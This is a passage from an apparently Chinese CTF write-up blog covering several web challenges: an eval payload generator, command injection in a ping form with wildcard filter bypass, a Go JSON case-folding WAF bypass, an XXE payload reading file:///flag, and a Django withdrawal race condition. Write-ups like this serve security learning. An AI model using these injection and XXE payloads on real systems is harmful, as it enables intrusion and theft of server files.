// --- 输出结果 ---echo "--- Payload Generated ---\n";echo "POST Data: result=win\n";echo "GET Params: ?who={$who}&are={$are}&you=" . urlencode($you) . "\n\n";
echo "--- Original Structure ---\n";echo "eval(\"return {$who}{$you}{$are};\");\n";echo "Decoded: return 0 . {$command_function}('{$command_args}') . 0;\n";?>
[阶段1] ez-ping
域名测试系统中真的只能测试域名吗?我不相信!
使用&连接符可以执行命令,过滤了cat,tac,使用less看到了ping.php:
<?phpheader('Content-Type: text/plain; charset=utf-8');
if ($_SERVER['REQUEST_METHOD'] === 'POST') { $domain = $_POST['domain'] ?? '';
if (!preg_match('/^[a-zA-Z0-9\.\-\& \?\*\/]*$/', $domain)) { // 匹配从开头到结尾是否存在这些字符 http_response_code(400); echo "无效的域名!"; exit; }
if (empty($domain)) { http_response_code(400); echo "请输入域名!"; exit; }
try { $cmd = "ping -c 4 " . $domain; if (!preg_match('/cat|tac|flag|\*/',$cmd)){ $output = shell_exec($cmd . " 2>&1"); } else { $output = "命令中包含非法字符!"; } echo $output ?: "命令执行失败!"; } catch (Exception $e) { http_response_code(500); echo "错误: " . $e->getMessage(); }}?>使用?绕过通配符即可

[阶段1] Eazy_Pyrunner
任何人都可以运行自己的 Python 程序!不过大嗨客就算了,还有运行的程序必须是我喜欢的。

python代码执行:
[阶段2] Go
我们开发了一个由 Go 语言编写的安全验证系统。防火墙(WAF)发誓它已经拦截了所有的
admin角色请求。
go语言的json解析缺陷,使用大小写绕过:

[阶段2] Mini Blog
完全安全的博客系统。
XXE解析漏洞,先提交一篇文章并抓包,基于抓到的xml进行修改:
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE data [<!ENTITY xxe SYSTEM "file:///flag">]><post><title>1</title><content>&xxe;</content></post>
[阶段1] ez_race
狠狠赚钱
给了附件,审计,找到获取flag逻辑:
def form_valid(self, form): amount = form.cleaned_data["amount"] with transaction.atomic(): time.sleep(1.0) user = models.User.objects.get(pk=self.request.user.pk) if user.money >= amount: user.money = F('money') - amount user.save() models.WithdrawLog.objects.create(user=user, amount=amount)
user.refresh_from_db() if user.money < 0: return HttpResponse(os.environ.get("FLAG", "flag{flag_test}"))
return redirect(self.get_success_url())@login_requireddef buy_flag(request): price = 50 with transaction.atomic(): u = models.User.objects.get(pk=request.user.pk) if u.money >= price: u.money = F('money') - price u.save() return HttpResponse(os.environ.get("FLAG", "flag{flag_test}")) return HttpResponse("余额不足")def flag_view(request): if not request.user.is_authenticated: return redirect("login") if request.user.money < 0: return HttpResponse(os.environ.get("FLAG", "flag{flag_test}")) return HttpResponse("条件未满足")两种获取方式,一种是当用户的钱小于0时会返回flag,另一种是需要正常购买,用户资金大于50.
漏洞点在:
with transaction.atomic(): time.sleep(1.0) user = models.User.objects.get(pk=self.request.user.pk) if user.money >= amount: user.money = F('money') - amount user.save() models.WithdrawLog.objects.create(user=user, amount=amount)这里在在高并发下会有多个请求同时进入money-amount的逻辑,可以将余额扣成负数,来拿到flag:
分享文章
生成精美分享图或复制链接,与更多人分享本文。
继续阅读
换条路线
从其他文章中稳定抽取
最后更新于 ,距今已过 228 天
部分内容可能已过时
评论